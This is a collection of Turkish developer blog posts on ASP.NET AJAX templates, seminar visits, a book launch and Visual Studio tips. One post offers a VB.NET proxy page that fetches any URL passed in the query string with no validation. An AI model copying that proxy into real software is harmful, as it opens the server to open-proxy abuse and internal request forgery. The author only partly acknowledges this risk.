ayarlamaktır. Keşke sunucu tarafında Repeater gibi istemci de bir şeyler olsa da
biz bir şablon hazırlayıp datayı versek, binding işlemini de kendisi yapsa? Ne
güzel olurdu değil mi? Eh olsun o zaman :)
<asp:ScriptManager ID="ScriptManager1" runat="server">
<Scripts>
<asp:ScriptReference Path="MicrosoftAjaxTemplates.debug.js" />
</Scripts>
</asp:ScriptManager>
İlk önce yukarıdaki şekilde AJAX 4.0'ı sayfamıza ekleyelim. Ben özellikle
debug uzantılı dosyayı sayfama ekledim, böylece herhangi bir hata oluştuğunda
anlamlı açıklamalarla karşılaşacağız. Bu durumun Web.Config'de Debug ayarı ile
kısmen aynı olduğunu düşünebilirsiniz.
<div id="Sablon" class="sakla">
Ürün Adı: <input type="text" value="{{ Adi }}" />
Fiyatı: <input type="text" value="{{ Fiyat + 'YTL' }}"/>
<!--* if (Fiyat>5) { *-->
Pahalıymış
<!--* } *--><br />
</div>
Bu da nesi? Karşınızda istemci tarafında şablonumuz. Bunu bir anlamda sunucu
taraflı ASP.NET Repeater kontrolünün ItemTemplate'ine benzetebilirsiniz. Sablon
adındaki DIV içerisine istediğiniz HTML tasarımı yerleştirebilirsiniz. {{ ve }}
işaretleri arasındaki komutlar aslında birazdan verimizi bağlarken
kullanacağımız veri kaynağımızda Field'ler diyebiliriz. Örneğin bizim veri
kaynağımızda Adi ve Fiyat adında iki özellik
bulunacak. Kaynaktaki değerler {{ }} işaretleri ile belirlenmiş yerlere otomatik
olarak yerleştirilecek. {{ ve }} işaretleri arasında isterseniz ek JavaScript
metodları da kullanabilirsiniz.
<!--* if (Fiyat>5) { *-->
Pahalıymış
<!--* } *--><br />
Bu üst kısımda gördüğünüz JavaScript kodunu biraz farklı yazmamız gerekti. {{
ve }} işaretleri arasında JavaScript komutları kullanabiliriz demiştik fakat
burada kullanacağımız JavaScript'in kendisinde de { ve } işaretleri bulunuyor.
İşte böyle durumlarda <!--* ve *-->
işaretlerini kullanmamız gerekiyor. Buradaki IF kontrolü hedef
verideki Fiyat değeri 5'ten büyük olunca Pahalıymış
yazılmasını sağlayacak.
<style type="text/css">
.sakla
{
visibility:hidden;
display:none;
}
</style>
Yukarıdaki CSS sınıfını bizim şablonumuzu sayfada görünmez yapmak için
kullanıyoruz. Bunun haricinde sayfada iki şeye daha ihtiyacımız var. Birincisi
bir düğme! Düğmeye basıldığında bu şablon üzerinden nesneler yaratılarak sayfaya
yerleştirilecek. İkincisi ise şablondan yarattığımız nesneleri sayfada
yerleştireceğimiz bir HostElement.
<input id="TIKLA" type="button" value="button" onclick="Yarat();" />
<div id="BURAYA"></div>
Düğmeye basıldığında Yarat adındaki bir JavaScript
fonksiyonu çalıştırılacak. BURAYA adını verdiğimiz HTML DIV
içerisine şablondan türetilen nesneler yerleştirilecek. Sıra geldi Yarat
JavaScript fonksiyonunu yazmaya.
function Yarat()
{
var
Sablonum = new Sys.Preview.UI.Template.getTemplate($get("Sablon"));
Sablonum.createInstance($get("BURAYA"), {Adi: "XX", Fiyat: "34"});
Sablonum.createInstance($get("BURAYA"), {Adi: "XX", Fiyat: "2"});
}
Görüldüğü olay aslında çok kolay. İlk satırda Sablonum
adında bir değişkene Sablon üzerinden Template
nesnesini yaratıyoruz. getTemplate metoduna $get
ile sayfadaki şablonu içeren DIV elementini vermemiz yeterli oluyor. Sonrasında
bu şablon üzerinden yeni nesneler üretmemiz gerek. Bunun için
createInstance metodunu kullanacağız. createInstance
metodu toplamda iki parametre alıyor; üretilen nesne nereye yerleştirilecek ve
üretilirken hangi veri kaynağı kullanılacak. İlk parametreye $get
ile sayfadaki DIV'i bulup veriyoruz, ikinciye ise bir JSON verisi aktarıyoruz.
Burada kolaylıkla ASP.NET AJAX'daki PageMethodlardan dönen verilen de
aktarılabilir.
 Daha kolay olamazdı.
Başka, başka?
XML ile declarative programlama AJAX'ın yıllardan beri konuşulan
altyapılarından biri. İlk konuşulduğu şekli ile olmasa da ilginç bir yapı ile
karşımıza çıkması olası. Şu an için bu konularda örnekler yapıp ilerlemek için
biraz erken sayılabilir. DataView gibi bazı kontrollerin istemci taraflı
sürümlerinin framework'e dahil edilmesi bile dedikodular arasında. Zamanla
ufukta güneş açtıkça gelişmeleri tabi ki sizlerle paylaşıyor olacağım. Şimdilik
bu kadarı ile yetinmeye çalışalım ;)
Hepinize kolay gelsin.
Bugün Edirne M.P. Anadolu Ticaret Meslek ve Ticaret Meslek
Lisesi'nin organizasyonunu üstlendiği Edirne'deki meslek liseleri'nin
yer aldığı bir seminer serisindeydim. Semineri Trakya Birlik Genel
Müdürlüğü Konferans Salonu'nda yaptık. Salon şu ana kadar gördüğüm en
ilginç ve güzel salonlardan biriydi. Balkonuyla beraber iki katlı seminer
salonunda alt kattaki ve üst kattaki dinleyiciler için ayrı projeksiyon
sistemlerinin bulunması dinleyici için çok ergonomik bir ortam sağlıyor.
 Edirne'ye gidip Selimiye Cami fotoğrafı çekmemek olmaz :)
Sabah 09.00 gibi seminerlere başladığımız için bir gün önceden Edirne'ye
gitmek durumunda kaldım. Dün akşam 20.00 gibi Edirne'deydim, Meriç kenarında bir
yemek yeme şansına sahip olmak muhteşemdi. Aslında otobüsle iki buçuk saat gibi
kısa bir sürede gidilebilen Edirne'yi (kendi adıma konuşayım) sanki biraz
farkında değiliz veya unutmuşuz gibime geldi. Rahatlıkla günübirlik gidip
gezilebilecek bir şehir.
 Selimiye Kubbesi İç Motifler
09.00'da başladıktan sonra öğleden sonra 18.00'a kadar WPF,
Silverlight ,AJAX ve LINQ konularına değindik. Bu benim ikinci Meslek
Lisesi deneyimim oldu. Lise çağındaki gençlere hitap edebilmek adına daha çok
çalışmam gerektiğini açıkça itiraf edebilirim :) Yine de aldığım tepkilere göre
faydalı bir gün geçirdik, parıldayan genç gözler gördüm.
 Edirne, MP (Anadolu) Ticaret Meslek Lisesi, WPF, Silverlight, AJAX, LINQ Seminerleri
Aktivite boyunca Edirne TV :) de oradaydı. Hatta sitelerinde de
aktiviteyi haber yyapmışlar. Özellikle sitedeki fotoğrafta biraz çok agresif
çıkmışım :) Zaten herkes sahnede rahat durmadığım için fotoğraf çekememekten
şikayetçi :)
Organizasyondaki emeklerinden dolayı sevgili Serdar Daloğlu'na
, Aziz Bayıroğlu ve Oğuzcan Şahin'e burada bin bir teşekkür ediyorum. Beni
muhteşem bir şekilde ağırlamanın yanı sıra organizasyondaki her tür detayı çok
başarılı bir şekilde yürüttüler.
Özellikle beni microbloğum
twitter.com
üzerinden takip edenlerin farkında olacağı üzere hafta sonunu Ankara'da
geçirdim. Cumartesi gece yarısı yola çıkarak sabahına Ankara'ya vardım ve sabah
10.00 gibi EMO (Elektrik Mühendisleri Odası) Ankara şubesinde eğitim serimize
başladık. WPF, AJAX, Silverlight ve LINQ konularına değindiğimiz eğitimi Pazar
akşamı 18.00'da bitirdik.
 EMO Eğitim Serisi başlangıcından bir kare...
Eğitime katılan arkadaşlara özellikle Silverlight örneğindeki kodları
blogumdan paylaşacağım konusunda söz vermiştim. Aşağıdan gerekli dosyaları
bilgisayarınıza indirebilirsiniz.
Örnek Kodlar - 25052008_2.rar (8,57 KB)
Eğitime katılan ve kocaman bir hafta sonu boyunca yeni teknolojiye olan
ilgilerini ve konsantrasyonlarını en yüksek seviyede tutan tüm arkadaşlara çok
teşekkür ediyorum (Özellikle ikinci gün sınıfa pasta alan kamera fobili
arkadaşımıza ek teşekkürler :))
INETA ve EMO işbirliğinizde düzenlediğimiz bu eğitime katkısından dolayı ODTÜ
Bilgisayar Mühendisliği Araştırma Görevlisi Serdar Çiftçi'ye,
eğitimlere laboratuar ortamı sağlamakla beraber
gösterdikleri sıcak misafirperverlik için de tüm EMO ekibine teşekkürler.
İstemci taraflı programlama sistemleri AJAX ile karşımıza çıkmıştı,
Silverlight ile beraber ise artık istemci taraflı programlama neredeyse
"hayatımız" oluyor. Bu durumda karşılaştığımız en büyük sorun "Cross-Domain-Request"
sınırlaması. Güvenlik nedenleriyle bir alan adından bir başka alan adına
bağlanarak veri talebinde bulunamıyoruz. Eğer karşıdaki alan adının ihtiva
ettiği siteye admin erişiminiz varsa tabi ki farklı teknikler kullanarak bu
sorunu çözebilirsiniz. Bu konuda Silverlight 2.0 ile beraber
clientaccesspolicy.xml
dosyası geliyor.
Peki ya karşı siteye admin erişimimiz yoksa?
İşte o zaman kendi sitemizde sunucu taraflı bir proxy kullanmamız şart.
ASP.NET ile sunucu tarafından istediğimiz siteye bağlanarak istediğimiz dosyası
alabiliriz. Bu durumda bir ASPX sayfası yapsak bizim yerimize gidip kendisine
hedef gösterdiğimiz adresten gerekli dosyayı alıp istemci tarafına, yani bize
iletse hoş olmaz mı?
Dim Talep As New Net.WebClient
Dim GelenVeri As Byte() = Talep.DownloadData(Request.QueryString("Dosya"))
Response.ContentType = Talep.ResponseHeaders("Content-type").ToString
Response.OutputStream.Write(GelenVeri, 0, GelenVeri.GetLength(0))
Response.OutputStream.Close()
Response.End()
Yukarıdaki kod içerisinde doğrudan bir WebClient yaratarak
farklı bir adresten veri indirme işlemi yapıyoruz. Kod içerisindeki en önemli
nokta indirmek istediğimiz hedef veri ile istemciye göndereceğimiz verinin
ContentType değerlerinin aynı olması gerektiği. Bunun için
Response.ContentType'ı WebClient üzerinden aldığımız
Content-Type header bilgisi ile eşleştiriyoruz. Böylece proxy'miz
gerektiğinde video veya resim dosyalarını da rahatlıkla indirerek bize
ulaştırabilir.
Performans?
Yukarıdaki örneğimiz çok basit bir yapıya sahip. Dosyayı sunucuya indirerek
doğrudan istemciye gönderiyor. Yüksek sayıda istek oluşan projelerde veya büyük
dosyalar indirecek olan uygulamalarında farklı performans senaryoları uygulamak
gerekecektir. Aslında baktığımızda bu yapının herhangi bir Proxy programlamaktan
pek farkı yok. Aklıma ilk aşamada gelen dikkat edilmesi gereken noktalar şöyle
oldu;
- Büyük dosya indirirken istemcinin hala bağlı olup olmadığını Response.IsClientConnected
ile kontrol etmek gerekir.
- Büyük dosya indirme işlemlerinde bufferlamak ve kısım kısım indirerek
istemciye göndermek daha mantıklı olabilir. Özellikle video dosyalarında.
- Kesinlikle bu dosyaya request yollayanın headerını kontrol etmek lazım.
Kötü niyetli biri bu proxy'yi sadece sunucunun bant genişliğini harcamak
için kullanabilir veya gereksiz yere sunucuyu yorabilir.
Hepinize kolay gelsin.
Tam bir yıl olmuş; ASP.NET AJAX kitabım basılalı üzerinden bir yıl geçmiş.
Oysa ilk altı ayda kitap tükenmişti ve Pusula Yayıncılıktan "2. baskıya
gireceğiz yenilenecek bir şey var mı?" sorusu gelmişti. Cevabım özellikle
yayıncı için biraz acı verici oldu; "ASP.NET 3.5 geliyor yeni kitap yapmamız
gerek, çok değişiklik var!" Böylece eski kitabın ikinci baskı meselesini
durdurarak hemen yeni kitap çalışmasına başladım ve ancak bitti :)
 ASP.NET 3.5 AJAX Kitabı Kapağı
Kitapta neler var?
Toplamda 700 sayfayı bulan bir AJAX kitabı olarak aslında ASP.NET ile AJAX'ı
öğrenmek isteyenlerin ihtiyaç duyabileceği neredeyse her şey var diyebilirim.
Farkındaysanız kesin konuşmuyorum :) çünkü bir sonraki baskıya ekleyeceğim bir
bölümü kenara not aldım bile :) Eksikler hiçbir zaman bitmez ama şu an kitabımı
elime alıp baktığımda şu kadar iddialı konuşabilirim; "ASP.NET 3.5 AJAX
Dünyada bulabileceğiniz en iyi 5 kitap arasındadır." Türkiye'de zaten
herhangi bir rakibi yok kitabın. Sanırım bir sonraki baskısından sonra dünyada
da olmayacak :)
Kitap içerisinden baştan başlayarak JavaScript, XML, XSLT, XPATH, CSS
konularına giriş yaptıktan sonra el yapımı AJAX tekniklerine değiniyoruz.
Sonrasında bağımsız JavaScript kütüphanelerini inceliyoruz. Tüm bunları kapsayan
ortalama 200 sayfalık bölüm ASP.NET'ten tamamen bağımsız olarak diğer sunucu
programlama (ASP, PHP) dilleri ile de rahatlıkla kullanılabilir bilgiler
içeriyor. Altyapıyı hallettikten sonra ASP.NET tarafına geçip sunucu taraflı
kütüphaneleri incelemeye başlıyoruz. ASP.NET 2.0 ile AJAX kullanımı ve
sonrasında da ASP.NET 3.5 tarafına geçerek ilerliyoruz. Sona doğru AJAX Control
Toolkit'i inceliyor, örnek bir AJAX kontrolü geliştiriyor ve "Sorunlar ve
Taktikler" bölümünde de tüm AJAX projelerinde karşılaşacağınız genel geçer
sorunlara çözümler arıyoruz. Kitaba noktayı koymadan önce de "Gelecekten
Nameler" bölümünde bizi gelecekte bekleyen gelişmeleri irdeliyoruz.
Türkiye'de İlk WPF DVD Arayüzü
Kitap ile beraber gelen DVD içerisinde tüm Visual Studio 2008 Express
ailesini bulabilirsiniz. Örnek kodları arayüz içerisinde inceleyebilir örnekleri
doğrudan DVD üzerinden ASP.NET Development Server ile otomatik
çalıştırabilirsiniz. Kitapta kullanılan tüm yazılımlar DVD içerisinde bulunuyor.
Ayrıca DVD içerisinde 4 farklı konuda görsel dersler de bulunuyor. Bunlardan
ikisini nedirtv.com
üzerinden sizlerle daha önce paylaşmıştım.
 WPF DVD Arayüzü
DVD'nin arayüzünü tamamen WPF ile hazırladım. Arka planda VB.NET kullanarak
gerçekten çok hoş ve kolay bir deneyim olduğunu söyleyebilirim.
Eski kitap var bende, yenisini almalı mı?
Bu cevaplaması zor bir soru. Ben olsam alırdım. Eski kitabı tamamen
okuyanlara "Yeni neler var?"dan bahsetmek istiyorum. İlk olarak kitap tamamen
elden geçirildi. Bu sefer kitapta hem VB hem C# örnekleri var.
IIS 7.0 kurulumu ve ASP.NET 3.5 ile entegrasyon var. Tüm örnekler Visual Studio
2008 üzerinden hazırlandı. Neredeyse her bölümde ufak tefek eklemeler var, hatta
bazı bölümler başlığı aynı kalsa da baştan sıfırdan yazıldı. Örneğin "Sorunlar
ve Taktikler"deki "Drag'n'Drop" bölümünü sıfırdan farklı bir tekniği anlatarak
yazdım.
Bunların haricinde kitapta yeni JavaScript debugger araçları, WCF ile AJAX
örnekleri, UpdateProgress ve Silverlight örneği, JSON ile LINQ kullanımına dair
JLINQ bölümü bulunuyor. Bunların hepsi eski kitapta yer almayan konulardı.
"Sorunlar ve Taktikler" bölümünde Cross-Domain veri aktarımı taktiği, sürükle ve
bırak sorunu çözümü gibi yenilikler var. AJAX Control Toolkit bölümünde
neredeyse her kontrolde bir yenilik var, Control Toolkit paketi geçen yıldan bu
yana çok değişti. Control Toolkit kontrollerinin Visual Studio 2008 içerisindeki
kullanımı da değişti. Tüm bunları kitaba yansıttım.
Gelelim en önemli noktaya :) Kitapta 2 yeni kocaman bölüm var. Bunlardan biri
"JavaScript Kütüphanaleri" bölümü. Bu bölümde sanırım bugüne kadar herhangi bir
basılı kitapta bahsedilmemiş olan bağımsız JavaScript kütüphanelerine değindim;
Mootools, Prototype, jQuery kesinlikle bir AJAX
geliştiricisinin bilmesi gereken konular. Tabi ki bu kütüphanelerin tüm
detaylarını inceleyemedik, aksi halde her biri için ayrı birer kitap
yazılabilir. Ben yaklaşık yetmiş sayfalık bir içerik ile olabildiğince ASP.NET
AJAX uygulamaları geliştirirken işinize yarayacak kısımları ele alarak biraz da
ipin ucunu göstermiş olmak istedim.
Diğer yeni bölümümüz ise "Gelecekten Nameler" bölümü. Çok yakında .NET
Framework 3.5 SP1 ile beraber yeni AJAX kontrolleri karşımıza çıkacak. İşte bu
kontroller bu bölümde anlatılıyor. Ayrıca Internet Explorer 8.0'ın getireceği
yeni AJAX özellikleri de bu bölümde bulunuyor. Anlayacağınız bölümün adının da
hak ettiği şekilde bu bölümde "geleceğe yolculuk" yaparak ileride karşımıza
çıkacaklar göz atıyoruz.
Peki kaç para kardeş bu kitap?
Bu aslında çok önemli bir soru :) Cevaplamadan önce aslında bu soruyu alenen
yazmamın nedenini anlatıyım. Yaklaşık iki veya üç ay önce kütüphanemdeki tüm
ASP.NET AJAX kitaplarımı seminerlerde hediye ettiğim için elimde kendi
kitabımdan hiç kalmamıştı. Pusula Yayıncılık'ı arayarak kitabımdan bir adet
istediğimi söylediğimde bana "Bizde stok kalmadı ki!" cevabını
verdiklerinde ufak bir şok geçirdim. "Tanrım kitabım bende yok!"
Hemen mağaza mağaza gezerek sonunda kitabımdan bir adet buldum ve satın
aldım. Kasiyer 30 YTL istediğinde ufak bir şok geçerdim. "Benim kitabım 30
YTL miymiş?" Gerçekten unutmuşum kitabımın ne kadara satıldığını. O
verdiğim 30 YTL can acısı gibi oturdu içime. Tabi kitabın içeriği ile bir
değerlendirme yaptığınızda belki 30 YTL çok değildir ama benim o kitaptan
öğrenebileceğim bir şey yok ki! :D
Her neyse, durum böyle olunca yeni kitabımla ilgili düşünmeye başladım.
Yaklaşık 200 sayfa ek içerik olacak ve bu sefer CD yerine DVD veriliyor.
Üzerinden bir de bir yıl geçmiş, onun da zammı var. Yeni kitap feci pahalı
olacak! Bu düşünce beni epey rahatsız etti. Sonuçta oturdum, düşündüm, taşındım
ve bir karar verdim. Kitaptan telif hakkı almayacaktım. Hakkımdan feragat
etmenin yasal anlamda sözleşmelerde sorun yaratabileceği için telif hakkını %1
gibi sembolik bir rakama indirerek Pusula ile bu şekilde karara vardık. Onlar da
bu durumu kitabın satış rakamına yansıttılar ve kitabı bu kadar değişiklik ve
aradan geçen 1 yıla rağmen 37 YTL şeklinde sonlandırabildik.
Bana sorarsanız hala pahalı :) O nedenle tavsiyem kitabı online satış
mağazalarından almanız. Böylece dağıtımcıyı aradan çıkardığınızda ciddi bir
indirim almış oluyorsunuz. Kitap
hepsiburada.com'da şu an havale ile 28,5 YTL, çok yakında tahminimce daha da
indirimli olarak kitapyum.com
üzerinde de yerini alacaktır.
Vatana, millete hayırlı olması dileği ile ;) Hepinize kolay gelsin.
Not:Kitap kitapyurdu.com'ta 24 YTL :)
Bugün Konya, Selçuk Üniversitesin'deydim. Sabah 10.00'da
başlayarak 19.00'a kadar WPF, AJAX, Silverlight ve LINQ
konularını inceleyen bir seminer ile güzel bir gün geçirdik. Umarım "yol
yorgunluğum" aktiviteye çok yansımamıştır. Bir gün öncesinde bildiğiniz üzere
Çanakkale 18 Mart Üniversitesin'deydim ve akşam 23.00'da Çanakkale'den mecburen
otobüs ile İstanbul'a döndüm. O saatte uçak vs yok. Sabaha karşı 05.00'de
İstanbul'daydım ve 07.00 uçağı ile Konya'ya uçtum :) Durum böyle olunca hem
uykusuzluk (buna alışkınım aslında) hem de sadece uçakta verilen abuk sandwich
nedeniyle açlık (işte buna dayanamam!) nedeniyle performansımdan şüphe etmediğimi
söylesem yalan olur.
 Konya, Selçuk Üniversitesi
Aktivitede katkılarından dolayı sevgili MSP, Okan Öztürkmenoğlu'na
çok teşekkür ediyorum. Bereketine hayran kaldığım etli ekmek desteği ile tüm
günü ayakta geçirebilmeme büyük katkıları oldu :)
Tekrar görüşmek üzere ;)
PCnet'in Nisan sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak
istiyorum :) Derginin
OKUL bölümünde AJAX, ASP.NET 3.5,
Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.
AJAX : ASP.NET AJAX İstemci Özellikleri
Expression Blend : WPF ile zengin doküman uygulamaları
Silverlight: Silverlight ve video dünyası
ASP.NET 3.5 : Bir sitenin ekran görüntüsünü ASP.NET ile nasıl
alırsınız? Hepinize sevgiler.
Bugün ODTÜ Bilgisayar Mühendisliği Bölümü'nde uzun soluklu
bir Silverlight ve AJAX semineri düzenledik. Seminer boyunca
gerçekten çok güzel sorular geldi. Katılımcıların yarısı her zamanki gibi ilk
bir saatte salonu terk etti ve esas programcılar ile biz bize kaldık :) Zaten o
noktadan sonra kalan ilgili dinleyiciler ile sanırım seminer 10 saat bile sürse
sorun olmazdı.
 ODTÜ, Silverlight ve AJAX Semineri
Buradan özellikle ODTÜ'den sevgili Arş. Gör. Serdar Çiftçi'ye
aktiviteye katkılarından dolayı teşekkür ediyorum. Seminer sonrasında beni
yalnız bırakmayan MSP'lerimiz
Ali Rıza Babaoğlan,
Murat Duman ve sevgili
Tayfun Akçay'a da ayrıca teşekkür ediyorum. Güzel ve eğlenceli bir akşam
geçirdim sayelerinde :)
Son iki gündür Isparta, Süleyman Demirel Üniversitesi'ndeydim.
İki gün boyunca Silverlight, WPF, ASP.NET 3.5 AJAX ve LINQ
konularına değindik. SDÜ zaten daha önce de öğrencilerinden bana gelen soru
mailleri ile beni şaşırtan bir üniversite olmuştu. Bu ziyaretimde de epey şaşkın
anlar yaşadım. Peki neye şaşırdım? SDÜ'de şu an Silverlight ve WPF konularında
bitirme projeleri hazırlayan kardeşlerimiz var. Daha çoğu üniversitede bu
konuların birer mistik ütopya olarak dolaştığını düşünürsek SDÜ öğrencileri
ciddi şanslı. Seminerler boyunca gelen sorular ortalamanın çok üstünde bir
seviyeye sahipti.
 Süleyman Demirel Üniversitesi, Isparta
Buradan özellikle SDÜ'den sevgili Eğitim Görevlisi dostum Mehmet
Albayrak'a ilgisi, misafirperverliği ve organizasyondaki katkısı için
çok teşekkür ediyorum. Ayrıca tabi ki güler yüzleri ve teknoloji aşkları ile
beni hem şaşırtan hem de sevindiren katılımcılara, SDÜ öğrencilerine de çok
teşekürler. Kısa zamanda yakaladığım ufak bir manzara fotoğrafı ile buradan
Ispartaya tekrar selamlar.
 Eğirdir Gölü Tepesi, Isparta
Dün INETA ve TBD işbirliği ile düzenlediğimiz
"4 Konu 4 Gün" eğitim serisinin
ilk gününü tamamladık. "ASP.NET 3.5 AJAX" konusunu ele aldığımız gün boyunca
teknik detaylara boğulmanın yanı sıra bir "Pazar" gününün şanına değer bir
şekilde eğlenmeyi de unutmadık :) Özellikle öğle yemeği araları muhteşem :)
Eğitim ortamımızı size biraz anlatmam gerekirse, "çantasından çikolatasını
çıkartarak sınıfıyla paylaşan" arkadaşlarımızdan, "herkes açlıktan ölürken
(sadece ben değil) sadece bir tabak çorba içip, Ben Doydum diyebilen
arkadaşlarımıza kadar renkli bir perspektife sahiptik :) Hah bir de okuldaki
derslerini düşünen "dertli kerime"miz vardı :) Sanırım bir pazar gününü hem bu
kadar eğlenceli hem de verimli geçirmek adına ciddi bir başarı sağladık.
 ASP.NET 3.5 AJAX Günü
Katılan herkese çok teşekkür ediyorum. Büyük zevk aldım. Fotoğraf çekilmeye
kadar kalamayan ve bir saat öncesinde kaçan arkadaşları da şiddetle kınıyoruz :)
Gün boyunca yaptığımız bazı örnekleri aşağıdan indirebilirsiniz.
Örneklere ait kaynak kodları - 24032008_1.zip (26,94 KB)
Ücretsiz eğitim konseptinde düzenlediğimiz INETA ve NETRON sponsorluğundaki
Silverlight 1.0 eğitimine gelen ve gelmeye devam eden büyük ilgi daha önce de
tahmin ettiğim bir durumdu. Bu konuda maalesef "talihli" olamayıp seçilemeyen
arkadaşlar haklı olarak sitemkar mailler gönderiyorlar. Emin olun bu tarz
aktivitelere devam edeceğiz, mekan sponsorları aramaya devam ediyorum.
Bundan yaklaşık bir ay kadar öncesinde sevgili Burcu Kutlu
ile temellerini attığımız bir diğer etkinliği bugün sizlere duyurmak istiyorum.
Bu sefer de INETA ve TBD Genç işbirliği ile
birer tam günlük dört farklı konuda bilgisayar başında eğitimler açıyoruz. "Bir
günlük eğitim mi olur?" derseniz aslında haklısınız ama en azından kendi
adıma düşündüğümde 3 saatlik seminerlerimden sonraki adım diyebilirim. Diğer
Silverlight eğitimini 3 gün olarak tasarlamıştık. Umarım yakında bu gibi
ücretsiz eğitimlerin sayısını arttıracağız. Bu seferlik dört konu, dört gün ;)
23 Mart - ASP.NET 3.5 AJAX
30 Mart - Silverlight
6 Nisan - Expression Blend ve WPF
13 Nisan - ASP.NET 3.5 ve LINQ
Eğitim saatleri her gün 10.00-18.00 arasında, eğitim yeri
TBD İstanbul (Ali Ruhi Sok. No:2, K.3, Hasanpaşa/ Kadıköy).
Kayıt için bu adresi kullanabilirsiniz;
http://www.tbdgenc.org/index.php?page=activityjoin&lang=tr&id=29
Buradan özellikle tekrar sevgili Burcu Kutlu'ya aktivitenin
organizasyonundaki yoğun emekleri için çok teşekkür ediyorum.
PCnet'in Mart sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak
istiyorum :) Derginin
OKUL bölümünde AJAX, ASP.NET 3.5,
Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.
AJAX : İnce ayar AJAX.
Expression Blend : WPF tasarımında görsel kaynaklar
Silverlight: Silverlight projelerinin bileşenleri
ASP.NET 3.5 : ASP.NET 3.5 Veri Kontrolleri Hepinize sevgiler.
Bugün Microsoft İstanbul ofislerinde bir başka iş ortakları
eğitimini daha bitirdik. Silverlight, WPF ve AJAX
konularına değindiğim eğitimde yaptığım bazı demoların kodlarını aşağıda hem
blog okuyucularım hem de eğitime katılan öğrencilerimle paylaşıyorum. Peki neden
bazılarını? :)
Örnekleri kendime saklama gibi bir çekincem yok, bende örnek bol :) Her gün
bir yenisini müşterilere yapıyoruz zaten. Genelde kodları bloga koyamıyor
olmamın nedeni tüm örnekleri eğitimlerimde sürekli sıfırdan yapıyor olmam.
Bugüne kadar hiçbir eğitimime hazır kod ile veya örnek ile girmedim ve bu durum
hiçbir zaman da "hazırlıksız gelmiş" olma gibi bir sıkıntı yaratmadı.
Şükür ki eğitimini verdiğim her şeyi zaten her gün 24 saat kullanıyorum :) Durum
böyle olunca örnek oluşturma sorunu da olmuyor. Diğer yandan örnekleri canlı
canlı yapıyor olmanın bir diğer avantajı da olası "hatalarla" öğrencilerle
beraber karşılaşıyor olup, çözebiliyor olmak. Böylece belki de "eve giden
öğrencinin karşılaşacağı ilk hatayı" biz çoktan sınıfta işlemiş oluyoruz :)
Sonuçta sınıfta yapılan demoların kodları çoğu zaman "zaman kaybetmemek"
adına sadece konsepti gösteren örnekler oluyor. Örneğin bir WPF eğitiminde
SQL'den data çekmeyle uğraşmak yerine doğrudan dummy data yaratabiliyorum kod
ile. Zaten katılımcılar da SQL'den data çekmeyi zaten biliyor :) Bunun gibi
sadece bahsi geçen eğitimin katılımcılarına özel olarak eksikler içeren
örnekleri buradan paylaşmayı doğru bulmuyorum.
Neyse, yine çok uzattım. Şimdilik paylaşabileceğim örnek kodlar aşağıda ;)
Silverlight ve WPF Örnek Kodları - 07022008_2.rar (138,72 KB)
Eğitime katılan herkese ve özellikle eğitim sonundaki pozitif olduğu kadar da
samimi yorumlara çok teşekkürler.
PCnet'in Şubat sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak
istiyorum :) Derginin
OKUL bölümünde AJAX, ASP.NET 3.5,
Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.
AJAX : Zaman doluyor, AJAX istekleri yolda.
Expression Blend : WPF Uygulamalarında internette
Silverlight: Silverlight ve JavaScript
ASP.NET 3.5 : ASp.NET 3.5 ve LINQ2SQL Tüm bu yazılara ek olarak
Şubat sayısına özel ".NET Framework 3.5'in Yıldızı: LINQ"
makalem de OKUL bölümünde yer alıyor :)
Hepinize kolay gelsin.
Artık hali hazırda ASP.NET AJAX kitabımın stokları tek haneli rakamlara düştüğüne göre :)
rahatlıkla yenisinin (2. baskı değil) yolda olduğuna dair bilgileri
sızdırabilirim. Tabi "yolda" derken bugün veya yarından bahsetmiyoruz :) Her
neyse, sözün özü şudur ki; şu anki ASP.NET AJAX kitabımda AJAX web siteleri ile
ilgili örnek olarak yabancı bir web sitesi yer alıyordu. Artık gönlüm ister ki
yerli web sitelerini örnek verelim. O nedenle ister site sahiplerinden, ister
ziyaretçilerinden AJAX konusunda uygulamalarıyla dikkati çeken web sitelerini bu
yazıma yorum olarak göndermelerini rica ediyorum.
Asgari bencillikle :) örnek olabileceğini düşündüğüm, beğendiğim siteleri
yeni kitabıma taşıyor olacağım. Tabi ki en önemli kriter söz konusu sitenin
"yerli malı, yurdun malı" olması.
Visual Studio 2008 ile beraber JavaScript
Intellisense geldiğinden her yerde bahsediliyor ama kimse bunun nasıl
kullanılacağından bahsetmiyor gibime geldi :) Herkes sadece Ctrl+Space
ile gelen bir Intellisense'den ötesi yokmuş gibi davranıyor oysa çok daha ötesi
var.
Varsayalım ki birden çok JavaScript dosyasının bulunduğu bir projede
çalışıyorsunuz ve iki numaralı JavaScript dosyası içerisinde çalışırken "keşke
bir numaralı dosyadaki metodlar Intellisense de gözükseydi!" dediniz. İşte
size çözüm;
 Import JavaScript Intellisense
İsterseniz hazırlamış olduğunuz JavaScript sınıfları, metodları başka bir
yazılım geliştirici tarafından kullanılacaksa Intellisense üzerinde gözükecek
şekilde açıklama satırlarını kaynak kodunuza da yerleştirebilirsiniz.
 Metod açıklaması tooltip içerisinde.
Yukarıdaki şekilde herhangi bir JavaScript metodu içerisinde XML yazımı ile
gerekli açıklamaları yerleştirirseniz Visual Studio 2008 otomatik olarak bu
açıklamaları Intellisense ile beraber gelen ipuçlarında gösterecektir.
 Metod parametrelerine dair ipuçları.
Hepinize kolay gelsin.
PCnet'in
Ocak sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak
istiyorum :) Derginin
OKUL bölümünde AJAX, ASP.NET 3.5,
Expression Blend, Expression Design, Silverlight ve
Expression Web ile ilgili yazılarım yer alıyor.
AJAX : UpdateProgress ile asenkron yüklemelerin takibi
Expression Blend : Animasyonlar ve Tetikleyiciler
Expression Web: Expression Web ile Veri Oyunları
Expression Design : Vektörel Çizim Araçları
Tüm bu yazılara ek olarak Ocak sayısına özel sürpriz makalelerim :)
FaceBook uygulamanızı geliştirin ! :
ASP.NET bilgisiyle kolay yoldan FaceBook uygulamaları geliştirmenin yollarını inceliyoruz.
Visual Studio 2008 Bilgisayarlarımızda! : Visual Studio 2008 ve ücretsiz Express sürümleri bilgisayarlarımıza girdi. Peki yeni neler geldi?
Hepsi PCnet Ocak sayısında! :)
